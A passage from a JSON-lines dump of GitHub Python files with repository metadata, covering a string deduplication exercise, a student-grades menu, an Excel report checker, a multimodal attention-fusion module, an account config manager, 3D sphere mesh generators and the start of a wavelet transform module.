print(data[\"UMC\"])\n\n\n\n","repo_name":"fja15/quant","sub_path":"data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":7945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27523651258","text":"# Demande une chaîne à l'utilisateur\nchaine = input(\"Entrez une chaîne : \")\n\n# Initialise la nouvelle chaîne\nnouvelle_chaine = \"\"\n\n# Parcours chaque caractère de la chaîne\nfor i in range(len(chaine)):\n # Si le caractère actuel est différent du précédent, ajoute-le à la nouvelle chaîne\n if i == 0 or chaine[i] != chaine[i-1]:\n nouvelle_chaine += chaine[i]\n\n# Affiche la nouvelle chaîne\nprint(nouvelle_chaine)\n","repo_name":"NasserODG/Challenge","sub_path":"Day2/challenge/defi2.py","file_name":"defi2.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20862180919","text":"#Name :nadeem okasha\n#Delivery Date :22-6-2023\n\nimport uuid\n\nclass Course:\n def __init__(self, course_name, course_mark):\n self.course_id = uuid.uuid4()\n self.course_name = course_name\n self.course_mark = course_mark\n\nclass Student:\n total_students = 0\n\n def __init__(self, student_name, student_age, student_number):\n self.student_id = uuid.uuid4()\n self.student_name = student_name\n self.student_age = student_age\n self.student_number = student_number\n self.courses_list = []\n\n def enroll_course(self, course):\n self.courses_list.append(course)\n\n def get_student_details(self):\n return self.__dict__\n\n def get_student_courses(self):\n for course in self.courses_list:\n print(f\"Course Name: {course.course_name}, Mark: {course.course_mark}\")\n\n def get_student_average(self):\n total_marks = sum(course.course_mark for course in self.courses_list)\n average = total_marks / len(self.courses_list)\n return average\n\nstudents_list = []\n\nwhile True:\n try:\n selection = int(input(\"1.Add New Student\\n\"\n \"2.Delete Student\\n\"\n \"3.Display Student\\n\"\n \"4.Get Student Average\\n\"\n \"5.Add Course to student with mark.\\n\"\n \"6.Exit\"))\n except ValueError:\n print(\"Invalid input. Please enter a number.\")\n continue\n\n if selection == 1:\n student_number = input(\"Enter Student Number: \")\n student_name = input(\"Enter Student Name: \")\n while True:\n try:\n student_age = int(input(\"Enter Student Age: \"))\n break\n except ValueError:\n print(\"Invalid input. Please enter a number.\")\n\n existing_student = next((student for student in students_list if student.student_number == student_number), None)\n if existing_student:\n print(\"Student Number already exists. Please enter a unique Student Number.\")\n else:\n new_student = Student(student_name, student_age, student_number)\n students_list.append(new_student)\n print(\"Student Added Successfully\")\n\n elif selection == 2:\n student_number = input(\"Enter Student Number: \")\n existing_student = next((student for student in students_list if student.student_number == student_number), None)\n if existing_student:\n students_list.remove(existing_student)\n print(\"Student Deleted Successfully\")\n else:\n print(\"Student Not Exist\")\n\n elif selection == 3:\n student_number = input(\"Enter Student Number: \")\n existing_student = next((student for student in students_list if student.student_number == student_number), None)\n if existing_student:\n student_details = existing_student.get_student_details()\n print(\"Student Details:\")\n for key, value in student_details.items():\n print(f\"{key}: {value}\")\n else:\n print(\"Student Not Exist\")\n\n elif selection == 4:\n student_number = input(\"Enter Student Number: \")\n existing_student = next((student for student in students_list if student.student_number == student_number), None)\n if existing_student:\n average = existing_student.get_student_average()\n print(f\"Student Average: {average}\")\n else:\n print(\"Student Not Exist\")\n\n elif selection == 5:\n student_number = input(\"Enter Student Number: \")\n existing_student = next((student for student in students_list if student.student_number == student_number), None)\n if existing_student:\n course_name = input(\"Enter Course Name: \")\n while True:\n try:\n course_mark = float(input(\"Enter Course Mark: \"))\n break\n except ValueError:\n print(\"Invalid input.\")\n","repo_name":"nadeem-oka/final__project","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38846019967","text":"from openpyxl import load_workbook\nimport os\n\nCOLOR_ERROR = '#8b0000'\nCOLOR_OK = '#006400'\n\nclass Report:\n \"\"\"Report class representation.\n \"\"\"\n\n def __init__(self, name, result, details):\n \"\"\"Initialization function for the Report class.\n\n Args:\n name (string): name of the Report\n result (string): result of the evaluation, can either be None, \"OK\" or \"ERROR\".\n details (string): details of the evaluation. Will contain found lines from the report.\n \"\"\"\n self.name = name\n self.result = result\n self.details = details\n\n\ndef evaluate(v1, v2, operator):\n \"\"\"Evaluation function for two values and an operator.\n\n Args:\n v1 (obj): object one\n v2 (obj): object two\n operator (string): operator that is being used\n\n Returns:\n bool: result of the equation v1 operator v2\n \"\"\"\n if operator == '==':\n return v1 == v2\n elif operator == '<=':\n return v1 <= v2\n elif operator == '>=':\n return v1 >= v2\n elif operator == '!=':\n return v1 != v2\n elif operator == '>':\n return v1 > v2\n elif operator == '<':\n return v1 < v2\n\ndef report_thread(queue, filename, working_directory, rule):\n \"\"\"Function to represent a report evaluation.\n Will load the report using the provided filename and working_directory and \n evaluate it according to the provided rule.\n\n Args:\n queue (Queue): queue for the results to be put into\n filename (string): filename\n working_directory (string): path to the directory of the reports\n rule (Rule): used rule for evaluation\n \"\"\"\n wb = load_workbook(os.path.join(working_directory, filename))\n\n lines = list()\n result = Report(filename, '', '')\n \n # iterate the rows\n found = False\n for line in wb.active.iter_rows():\n for c in line:\n if c.column == rule.col or rule.col < 0:\n if rule.type == 'BGCOLOR':\n # check if the color is indexed for legacy colors\n col = ''\n if c.fill.bgColor.type == 'indexed':\n col = c.fill.fgColor.rgb\n else:\n col = c.fill.bgColor.rgb\n \n if col == rule.compare:\n found = True\n elif rule.type == 'FONTCOLOR':\n if c.font != None and c.font.color != None:\n if c.font.color.rgb == rule.compare:\n found = True\n elif rule.type == 'VALUE' and (type(c.value) == int or type(c.value) == float):\n if evaluate(c.value, rule.compare, rule.operator):\n found = True\n \n # search criteria was found\n if found:\n new_line = ''\n for c in line:\n new_line += str(c.value)\n if c != line[-1]:\n new_line += ', '\n new_line += '\\n'\n lines.append(new_line)\n found = False\n \n if len(lines) == 0:\n result.result = 'OK'\n else:\n result.result = 'ERROR'\n # save error lines\n for line in lines:\n result.details += line\n result.details += '\\n'\n\n lines.clear()\n queue.put(result)","repo_name":"yet-another-alex/excel-report-evaluator","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9217867695","text":"#CMU Multimodal SDK, CMU Multimodal Model SDK\n\n#Multi-attention Recurrent Network for Human Communication Comprehension, Amir Zadeh, Paul Pu Liang, Soujanya Poria, Erik Cambria, Prateek Vij, Louis-Philippe Morency - https://arxiv.org/pdf/1802.00923.pdf\n\n#in_modalities: is a list of inputs from each modality - the first dimension of all the modality inputs must be the same, it will be the batch size. The second dimension is the feature dimension. There are a total of n modalities.\n\n#attention_model: is a pytorch nn.Sequential which takes in an input with size (bs * m0+...+mn) with m_i being the dimensionality of the features in modality i. Output is the (bs * (m0+...+mn)*num_atts).\n\n#dim_reduce_nets: is a list of pytorch nn.Sequential which takes in an input with size (bs*(mi*num_atts))\n#num_atts is the number of attentions\n\n#num_atts: number of attentions\n\n\nimport torch\nimport time\nfrom torch import nn\nimport torch.nn.functional as F\n\n\nclass MultipleAttentionFusion(nn.Module):\n\n\tdef __init__(self,attention_model,dim_reduce_nets,num_atts):\n\t\tsuper(MultipleAttentionFusion, self).__init__()\n\t\tself.attention_model=attention_model\n\t\tself.dim_reduce_nets=dim_reduce_nets\n\t\tself.num_atts=num_atts\n\n\tdef __call__(self,in_modalities):\n\t\treturn self.fusion(in_modalities)\n\n\tdef fusion(self,in_modalities):\n\n\t\t#getting some simple integers out\n\t\tnum_modalities=len(in_modalities)\n\t\t#simply the tensor that goes into attention_model\n\t\tin_tensor=torch.cat(in_modalities,dim=1)\n\t\t#calculating attentions\n\t\tatts=F.softmax(self.attention_model(in_tensor),dim=1)\n\t\t#calculating the tensor that will be multiplied with the attention\n\t\tout_tensor=torch.cat([in_modalities[i].repeat(1,self.num_atts) for i in range(num_modalities)],dim=1)\n\t\t#calculating the attention\n\t\tatt_out=atts*out_tensor\n\t\n\t\t#now to apply the dim_reduce networks\n\t\t#first back to however modalities were in the problem\n\t\tstart=0\n\t\tout_modalities=[]\n\t\tfor i in range(num_modalities):\n\t\t\tmodality_length=in_modalities[i].shape[1]*self.num_atts\n\t\t\tout_modalities.append(att_out[:,start:start+modality_length])\n\t\t\tstart=start+modality_length\n\t\n\t\t#apply the dim_reduce\n\t\tdim_reduced=[self.dim_reduce_nets[i](out_modalities[i]) for i in range(num_modalities)]\n\t\t#multiple attention done :)\n\t\treturn dim_reduced,out_modalities\n\n\tdef forward(self, x):\n\t\tprint(\"Not yet implemented for nn.Sequential\")\n\t\texit(-1)\n\n\n\nif __name__==\"__main__\":\n\tprint(\"This is a module and hence cannot be called directly ...\")\n\tprint(\"A toy sample will now run ...\")\n\t\n\tfrom torch.autograd import Variable\n\timport torch.nn.functional as F\n\timport numpy\n\n\tinputx=Variable(torch.Tensor(numpy.array(numpy.zeros([32,40]))),requires_grad=True)\n\tinputy=Variable(torch.Tensor(numpy.array(numpy.zeros([32,12]))),requires_grad=True)\n\tinputz=Variable(torch.Tensor(numpy.array(numpy.zeros([32,20]))),requires_grad=True)\n\tmodalities=[inputx,inputy,inputz]\n\n\t#simple functions for toy example, 4 times extract attentions hence 72*4\n\tmy_attention =\tnn.Sequential(nn.Linear(72,72*4))\n\tsmall_netx =\tnn.Sequential(nn.Linear(160,10))\n\tsmall_nety =\tnn.Sequential(nn.Linear(48,20))\n\tsmall_netz =\tnn.Sequential(nn.Linear(80,30))\n\n\tsmalls_nets=[small_netx,small_nety,small_netz]\n\n\tfmodel=MultipleAttentionFusion(my_attention,smalls_nets,4)\t\n\tout=fmodel(modalities)\n\n\tprint(\"Output\")\n\tprint(out[0])\n\tprint(\"Toy sample finished ...\")\n\n\n\n","repo_name":"ecfm/CMU-MultimodalSDK","sub_path":"mmsdk/mmmodelsdk/fusion/multiple_attention/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"18318194121","text":"def muotoile_heksaluvuksi(muutettava_luku, bittien_maara):\n heksa = hex(muutettava_luku).lstrip('0x')\n heksa = heksa.zfill((bittien_maara - muutettava_luku.bit_length())//4 + len(heksa))\n return heksa\n\n\ntry:\n luku = int(input('Anna kokonaisluku: '))\n bitit = int(input('Anna heksaluvun pituus (bittien lukumäärä): '))\nexcept ValueError as e:\n print('Kokonaisluku kiitos')\nelse:\n print(muotoile_heksaluvuksi(luku, bitit))\n","repo_name":"lompolo/OhjelmoinninAlkeet","sub_path":"heksoja.py","file_name":"heksoja.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21771887748","text":"from typing import Any, Dict\r\n\r\n\r\nclass BaseConfigUser:\r\n def __init__(self, id: int, isDefault: bool = False, **dt) -> None:\r\n self.id = id\r\n self.isDefault = isDefault\r\n self.isDefaultN = 1 if isDefault else 0\r\n self.data = dt\r\n\r\n @classmethod\r\n def createWithDict(cls, dt: Dict[str, Any]):\r\n b = cls()\r\n b.id = dt.pop(\"id\")\r\n b.isDefault = dt.pop(\"isDefault\")\r\n b.data = dt\r\n return b\r\n\r\n def __str__(self) -> str:\r\n return self.toUser()\r\n\r\n def toUser(self) -> str:\r\n raise NotImplementedError()\r\n\r\n def toDict(self) -> dict:\r\n b = self.data.copy()\r\n b[\"id\"] = self.id\r\n b[\"isDefault\"] = self.isDefault\r\n return b\r\n\r\n def toCookie(self) -> str:\r\n raise NotImplementedError()\r\n\r\n def toHeader(self, header: dict) -> dict:\r\n h = header.copy()\r\n h[\"Cookie\"] = self.toCookie()\r\n return h\r\n\r\n\r\nclass BaseConfig:\r\n class NotLoginError(BaseException):\r\n def __init__(self, *args: object) -> None:\r\n super().__init__(*args)\r\n\r\n def __str__(self) -> str:\r\n return f\"请先登录 使用account-login(或account-login-message)命令登录\"\r\n\r\n class ConfigNotFoundError(BaseException):\r\n def __init__(self, id: int, *args: object) -> None:\r\n self.id = id\r\n super().__init__(*args)\r\n\r\n def __str__(self) -> str:\r\n return f\"找不到id为{self.id}的用户\"\r\n\r\n def __init__(self, file_path: str, data_type: type = BaseConfigUser) -> None:\r\n self.file_path = file_path\r\n self.type = data_type\r\n\r\n def login(self, data: BaseConfigUser):\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n m = f.read()\r\n if m == \"\":\r\n f.write(str([data.toDict()]).replace(\"'\",'\"'))\r\n else:\r\n b: list = eval(m)\r\n i = [j[\"id\"] for j in b]\r\n if data.id in i:\r\n print(\"用户已记录,无需登录\")\r\n return\r\n f.seek(0)\r\n f.truncate()\r\n if data.isDefault:\r\n b.insert(0, data.toDict())\r\n else:\r\n b.append(data.toDict())\r\n f.write(str(b).replace(\"'\",'\"'))\r\n\r\n def get_default_config(self):\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n r = f.read()\r\n if r == \"\" or r == \"[]\":\r\n raise self.NotLoginError()\r\n m: list = eval(r)\r\n if len(m) == 0:\r\n return self.NotLoginError()\r\n c:BaseConfigUser = self.type.createWithDict(m[0])\r\n return c\r\n\r\n def get_all_config(self):\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n r = f.read()\r\n if r == \"\" or r == \"[]\":\r\n return []\r\n d = eval(r)\r\n return [self.type.createWithDict(i) for i in d]\r\n\r\n def get_all_config_cc(self):\r\n r = self.get_all_config()\r\n print(\"存储的所有账户: \")\r\n if r == []:\r\n print(\"没有任何账户\")\r\n for i in range(len(r)):\r\n c: BaseConfigUser = r[i]\r\n print(i+1, '●' if c.isDefault else '○', c.toUser())\r\n\r\n def change_default_config(self, id: int):\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n r = f.read()\r\n if r == \"\" or r == \"[]\":\r\n raise self.ConfigNotFoundError(id)\r\n e: list = eval(r)\r\n i = [j[\"id\"] for j in e]\r\n e[0][\"isDefault\"] = 0\r\n if id not in i:\r\n raise self.ConfigNotFoundError(id)\r\n c = e[i.index(id)]\r\n e.remove(c)\r\n c[\"isDefault\"] = 1\r\n e.insert(0, c)\r\n f.seek(0)\r\n f.truncate()\r\n f.write(str(e).replace(\"'\",'\"'))\r\n print(f\"成功设置 {c['nickName']}({id}) 为新默认用户\")\r\n\r\n def delete_config(self, id: int):\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n r = f.read()\r\n if r == \"\" or r == \"[]\":\r\n raise self.ConfigNotFoundError(id)\r\n e: list = eval(r)\r\n i = [j[\"id\"] for j in e]\r\n if id not in i:\r\n raise self.ConfigNotFoundError(id)\r\n d = i.index(id)\r\n c = e[d]\r\n if c[\"isDefault\"] == 1 and len(e) > 1:\r\n e[d+1][\"isDefault\"] = 1\r\n e.remove(c)\r\n f.seek(0)\r\n f.truncate()\r\n f.write(str(e).replace(\"'\",'\"'))\r\n print(f\"成功删除id为 {id} 的用户\")\r\n\r\n def get_config(self, id: int):\r\n d = self.get_all_config()\r\n i = [j.id for j in d]\r\n if id not in i:\r\n raise self.NotLoginError()\r\n return d[i.index(id)]\r\n\r\n def isLogin(self, id: int) -> bool:\r\n with open(self.file_path, \"a+\") as f:\r\n f.seek(0)\r\n r = f.read()\r\n if r == \"\" or r == \"[]\":\r\n return False\r\n d = eval(r)\r\n i = [j[\"id\"] for j in d]\r\n return id in i\r\n","repo_name":"aquamarine5/NeteaseMusicUtil","sub_path":"AquaCore/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"28703945242","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport numpy as np\nfrom math import cos, sin, sqrt, atan2\nfrom triangle import triangulate\n\nfrom Meshes.quaternion import quat_from_axis, quat_mult\nfrom Meshes.vector import perpendicular, normalize\nfrom Meshes.tessellate import tessPolygon\nfrom Meshes.path import circle2D\nfrom Meshes.Mesh import Mesh\n\nTAU = np.pi * 2\nQUAD_TEXTCOORDS = [[0,0],[0,1],[1,1],[1,0]]\n\ndef toSphere (coord, radius):\n lngQuat = quat_from_axis(np.radians(coord[0]), (1, 0, 0))\n latQuat = quat_from_axis(np.radians(coord[1]), (0, 1, 0))\n level = quat_from_axis(np.radians(90), (0, 0, 1))\n \n return quat_mult(level, quat_mult(lngQuat, quat_mult(latQuat, (0, 0, radius ))))\n\n \ndef spherePoint( mesh, position, radius = 1, point_size = None, color = None):\n offset = len(mesh.vertices)\n\n v = toSphere( position, radius )\n v_tmp = toSphere( [position[0]+1, position[1]+1], radius)\n\n theta = np.pi * .5 # 90 deg\n for i in range(4):\n a = np.pi + i * theta\n extrude_normal = perpendicular(v, v_tmp, a)\n normal = normalize(v)\n\n mesh.addTexCoord( QUAD_TEXTCOORDS[i] );\n\n if point_size:\n mesh.addNormal( normal );\n mesh.addVertex( v + extrude_normal * point_size )\n else:\n mesh.addNormal( extrude_normal );\n mesh.addVertex( v )\n\n if color:\n mesh.addColor( color )\n\n mesh.addTriangle( offset, offset + 1, offset + 2 )\n mesh.addTriangle( offset + 2, offset + 3, offset )\n\n return mesh\n\n\ndef sphereDot( mesh, position, radius = 1, dot_size = None, color = None):\n dot_radius = 0.0\n prev_mats = len(mesh.materials)\n\n if dot_size:\n dot_radius = dot_size\n\n dot_mesh = tessPolygon(Mesh('Dot-'+str(prev_mats)), circle2D(0, 0, dot_radius, 6), 0, color)\n\n # Put on place\n dot_mesh.translateZ(radius)\n dot_mesh.rotateY(position[1])\n dot_mesh.rotateX(position[0])\n dot_mesh.rotateZ(90)\n \n # for i in range(len(dot_mesh.vertices)):\n # if dot_size == None:\n\n mesh.add(dot_mesh)\n\n return mesh\n\n\ndef sphereSpline( mesh, points, radius = 1, width = None, color = None):\n offset = len(mesh.vertices)\n\n for i in range(1, len(points)):\n v_prev = toSphere( points[i-1], radius)\n v_this = toSphere( points[i], radius)\n\n theta = np.pi * .5 # 90 deg\n for i in range(4):\n a = theta * .5 + i * theta\n normal = perpendicular(v_prev, v_this, a)\n\n mesh.addTexCoord( QUAD_TEXTCOORDS[i] );\n\n if width:\n mesh.addNormal( normalize(v_prev) );\n if i < 2:\n mesh.addVertex( v_prev + np.array(normal) * width )\n else:\n mesh.addVertex( v_this + np.array(normal) * width )\n else:\n mesh.addNormal( normal );\n if i < 2:\n mesh.addVertex( v_prev )\n else:\n mesh.addVertex( v_this )\n\n if color:\n mesh.addColor( color )\n \n mesh.addTriangle( offset, offset + 1, offset + 2 )\n mesh.addTriangle( offset + 2, offset + 3, offset )\n offset += 4\n\n return mesh\n\n\ndef spherePolygon( mesh, points, radius=1, color=None ):\n offset = len(mesh.vertices)\n\n if points[0][0] == points[-1][0]:\n points.pop()\n\n sphere_pts = []\n for point in points:\n sphere_pts.append(point)\n v = toSphere(point, radius)\n normal = normalize(v)\n \n mesh.vertices_texcoords([.5+point[0]/360., .5+point[1]/180.]);\n # mesh.addNormal( normal )\n\n mesh.addVertex( v )\n\n if color:\n mesh.addColor( color )\n\n segments = []\n for i in range( len(points) ):\n segments.append([i, (i + 1) % len(points) ] )\n\n cndt = triangulate(dict(vertices=sphere_pts,segments=segments),'p')\n for face in cndt['triangles']:\n mesh.addTriangle( offset + ( face[0] % len(sphere_pts) ), \n offset + ( face[1] % len(sphere_pts) ), \n offset + ( face[2] % len(sphere_pts) ) )\n offset += len(points)\n\n return mesh\n\n\ndef sphere(mesh, radius=1, resolution=12, color=None):\n offset = len(mesh.vertices)\n\n doubleRes = resolution * 2\n polarInc = np.pi / float(resolution) # ringAngle\n azimInc = TAU / float(doubleRes) # segAngle\n\n vert = [ 0.0, 0.0 , 0.0 ]\n tcoord = [ 0.0, 0.0 ]\n\n for i in range( resolution + 1 ):\n tr = sin( np.pi - float(i) * polarInc )\n ny = cos( np.pi - float(i) * polarInc )\n\n tcoord[1] = (float(i) / float(resolution))\n\n for j in range( doubleRes + 1):\n nx = tr * sin(float(j) * azimInc)\n nz = tr * cos(float(j) * azimInc)\n\n tcoord[0] = float(j) / float(doubleRes)\n\n vert = np.array( [ nx, ny, nz ] )\n mesh.addNormal( vert )\n vert *= radius\n mesh.addVertex( vert )\n if color:\n mesh.addColor( color )\n mesh.addTexCoord( np.array(tcoord) )\n\n nr = doubleRes + 1\n for iy in range( resolution ):\n for ix in range( doubleRes ):\n # first tri\n if iy > 0:\n mesh.addIndex(offset + (iy+0) * (nr) + (ix+0)) # 1\n mesh.addIndex(offset + (iy+0) * (nr) + (ix+1)) # 2\n mesh.addIndex(offset + (iy+1) * (nr) + (ix+0)) # 3\n \n\n #second tri\n if iy < resolution-1:\n mesh.addIndex(offset + (iy+0) * (nr) + (ix+1)) # 1\n mesh.addIndex(offset + (iy+1) * (nr) + (ix+1)) # 2\n mesh.addIndex(offset + (iy+1) * (nr) + (ix+0)) # 3\n \n\n return mesh\n\n\n# Port from C++ https://bitbucket.org/transporter/ogre-procedural/src/ca6eb3363a53c2b53c055db5ce68c1d35daab0d5/library/src/ProceduralIcoSphereGenerator.cpp?at=default&fileviewer=file-view-default\ndef icosphere(mesh, radius=1, resolution=2, color=None):\n\n # Step 1 : Generate icosahedron\n sqrt5 = sqrt(5.0);\n phi = (1.0 + sqrt5) * 0.5;\n invnorm = 1.0/sqrt(phi*phi+1.0);\n\n mesh.addVertex(invnorm * np.array([-1, phi, 0])) #0\n mesh.addVertex(invnorm * np.array([ 1, phi, 0])) #1\n mesh.addVertex(invnorm * np.array([0, 1, -phi]))#2\n mesh.addVertex(invnorm * np.array([0, 1, phi]))#3\n mesh.addVertex(invnorm * np.array([-phi,0, -1])) #4\n mesh.addVertex(invnorm * np.array([-phi,0, 1])) #5\n mesh.addVertex(invnorm * np.array([ phi,0, -1])) #6\n mesh.addVertex(invnorm * np.array([ phi,0, 1])) #7\n mesh.addVertex(invnorm * np.array([0, -1, -phi]))#8\n mesh.addVertex(invnorm * np.array([0, -1, phi]))#9\n mesh.addVertex(invnorm * np.array([-1,-phi, 0])) #10\n mesh.addVertex(invnorm * np.array([ 1,-phi, 0])) #11\n\n if color:\n for i in range(12):\n mesh.addColor( color )\n \n firstFaces = [\n 0,1,2,\n 0,3,1,\n 0,4,5,\n 1,7,6,\n 1,6,2,\n 1,3,7,\n 0,2,4,\n 0,5,3,\n 2,6,8,\n 2,8,4,\n 3,5,9,\n 3,9,7,\n 11,6,7,\n 10,5,4,\n 10,4,8,\n 10,9,5,\n 11,8,6,\n 11,7,9,\n 10,8,11,\n 10,11,9\n ]\n\n for i in range(0, 60)[::3]:\n mesh.addTriangle(firstFaces[i], firstFaces[i+1], firstFaces[i+2])\n\n size = len(mesh.indices)\n # Step 2: tessellate\n for iteration in range(0, resolution):\n size*=4;\n newFaces = []\n for i in range(0, int(size/12)):\n i1 = mesh.indices[i*3]\n i2 = mesh.indices[i*3+1]\n i3 = mesh.indices[i*3+2]\n\n i12 = len(mesh.vertices)\n i23 = i12 + 1\n i13 = i12 + 2\n\n v1 = mesh.vertices[i1]\n v2 = mesh.vertices[i2]\n v3 = mesh.vertices[i3]\n\n # make 1 vertice at the center of each edge and project it onto the mesh\n mesh.vertices.append(np.array(normalize( v1 + v2 )))\n mesh.vertices.append(np.array(normalize( v2 + v3 )))\n mesh.vertices.append(np.array(normalize( v1 + v3 )))\n\n if color:\n for i in range(3):\n mesh.addColor( color )\n\n # now recreate indices\n newFaces.append(i1)\n newFaces.append(i12)\n newFaces.append(i13)\n newFaces.append(i2)\n newFaces.append(i23)\n newFaces.append(i12)\n newFaces.append(i3)\n newFaces.append(i13)\n newFaces.append(i23)\n newFaces.append(i12)\n newFaces.append(i23)\n newFaces.append(i13)\n\n mesh.indices = list(newFaces);\n \n # Step 3 : generate texcoords\n texCoords = []\n for i in range(0, len(mesh.vertices)):\n vec = mesh.vertices[i]\n r0 = sqrt(vec[0] * vec[0] + vec[2] * vec[2])\n alpha = atan2(vec[2], vec[0])\n\n u = alpha/TAU + .5;\n v = atan2(vec[1], r0)/np.pi + .5;\n\n # reverse the u coord, so the default is texture mapped left to\n # right on the outside of a sphere \n # reverse the v coord, so that texture origin is at top left\n texCoords.append( np.array( [1.0-u, v ] ))\n\n # Step 4 : fix texcoords\n # find vertices to split\n indexToSplit = []\n for i in range(0, int(len(mesh.indices)/3)):\n t0 = texCoords[ mesh.indices[i*3+0] ]\n t1 = texCoords[ mesh.indices[i*3+1] ]\n t2 = texCoords[ mesh.indices[i*3+2] ]\n\n if abs(t2[0]-t0[0]) > 0.5:\n if t0[0] < 0.5:\n indexToSplit.append( mesh.indices[i*3] )\n else:\n indexToSplit.append( mesh.indices[i*3+2] )\n \n if abs(t1[0]-t0[0]) > 0.5:\n if t0[0] < 0.5:\n indexToSplit.append( mesh.indices[i*3] )\n else:\n indexToSplit.append( mesh.indices[i*3+1] )\n \n if abs(t2[0]-t1[0]) > 0.5:\n if t1[0] < 0.5:\n indexToSplit.append( mesh.indices[i*3+1] )\n else:\n indexToSplit.append( mesh.indices[i*3+2] )\n\n # split vertices\n for i in range(0, int(len(indexToSplit)/3)):\n index = indexToSplit[i]\n # duplicate vertex\n v = mesh.vertices[index]\n t = texCoords[index] + np.array( [1., 0.] )\n\n mesh.vertices.append(v)\n texCoords.append(t)\n\n if color:\n mesh.addColor( color )\n \n newIndex = len(mesh.vertices)-1\n\n # reassign indices\n for j in range(len(mesh.indices)):\n if mesh.indices[j] == index:\n index1 = mesh.indices[ int((j+1)%3+(j/3)*3) ]\n index2 = mesh.indices[ int((j+2)%3+(j/3)*3) ]\n if (texCoords[index1][0] > 0.5) or (texCoords[index2][0] > 0.5):\n mesh.indices[j] = newIndex;\n\n for vert in mesh.vertices:\n mesh.addNormal( normalize(vert) )\n\n for st in texCoords:\n mesh.addTexCoord( st )\n\n for i in range(len( mesh.vertices )):\n mesh.vertices[i] = mesh.vertices[i] * radius\n\n return mesh\n\n","repo_name":"patriciogonzalezvivo/Meshes","sub_path":"Meshes/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":11232,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"} +{"seq_id":"70658193155","text":"import django\n\nfrom django.db import models\n\nif django.VERSION >= (1, 5):\n from django.contrib.auth.models import AbstractBaseUser, UserManager\n\n class User(AbstractBaseUser):\n username = models.CharField(max_length=255)\n email = models.EmailField()\n is_active = models.BooleanField()\n is_superuser = models.BooleanField()\n is_staff = models.BooleanField()\n date_joined = models.DateTimeField()\n\n objects = UserManager()\n","repo_name":"HuGomez/crud","sub_path":"crud/lib/python2.7/site-packages/password_reset/tests/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39540911464","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pylab\n\ndef transform(x, Jmin=2):\n \"\"\"\n Compute the wavelet transform of x\n \"\"\"\n h = compute_wavelet_filter(\"Daubechies\",10)\n return perform_wavortho_transf(x, Jmin, +1, h)\n\n\ndef inverse_transform(w, Jmin=2):\n \"\"\"\n Compute the wavelet inverse transform of w\n \"\"\"\n h = compute_wavelet_filter(\"Daubechies\",10)\n return perform_wavortho_transf(w, Jmin, -1, h)\n\n\ndef compute_wavelet_filter(type,par):\n \"\"\"\n compute_wavelet_filter - Generate Orthonormal QMF Filter for Wavelet Transform\n \n \n [h,g] = compute_wavelet_filter(Type,Par)\n \n Inputs\n Type string, 'Haar', 'Beylkin', 'Coiflet', 'Daubechies',\n 'Symmlet', 'Vaidyanathan','Battle'\n Par integer, it is a parameter related to the support and vanishing\n moments of the wavelets, explained below for each wavelet.\n \n Outputs\n h low pass quadrature mirror filter\n g high pass\n \n Description\n The Haar filter (which could be considered a Daubechies-2) was the\n first wavelet, though not called as such, and is discontinuous.\n \n The Beylkin filter places roots for the frequency response function\n close to the Nyquist frequency on the real axis.\n \n The Coiflet filters are designed to give both the mother and father\n wavelets 2*Par vanishing moments; here Par may be one of 1,2,3,4 or 5.\n \n The Daubechies filters are minimal phase filters that generate wavelets\n which have a minimal support for a given number of vanishing moments.\n They are indexed by their length, Par, which may be one of\n 2,4,6,8,10,12,14,16,18 or 20. The number of vanishing moments is par/2.\n \n Symmlets are also wavelets within a minimum size support for a given\n number of vanishing moments, but they are as symmetrical as possible,\n as opposed to the Daubechies filters which are highly asymmetrical.\n They are indexed by Par, which specifies the number of vanishing\n moments and is equal to half the size of the support. It ranges\n from 4 to 10.\n \n The Vaidyanathan filter gives an exact reconstruction, but does not\n satisfy any moment condition. The filter has been optimized for\n speech coding.\n \n The Battle-Lemarie filter generate spline orthogonal wavelet basis.\n The parameter Par gives the degree of the spline. The number of\n vanishing moments is Par+1.\n \n See Also\n FWT_PO, IWT_PO, FWT2_PO, IWT2_PO, WPAnalysis\n \n References\n The books by Daubechies and Wickerhauser.\n \n Warning : only Daubechies implemented for the moment !\n \"\"\"\n \n if type == 'Daubechies':\n \n if par == 1:\n f = [1,1]/np.sqrt(2)\n\n if par == 4:\n f = [.482962913145,.836516303738,\n .224143868042,-.129409522551]\n \n if par == 6:\n f = [.332670552950,.806891509311,\n .459877502118,-.135011020010,\n -.085441273882,.035226291882]\n \n if par == 8:\n f = [ .230377813309,.714846570553,\n .630880767930,-.027983769417,\n -.187034811719,.030841381836,\n .032883011667,-.010597401785]\n \n if par == 10:\n f = 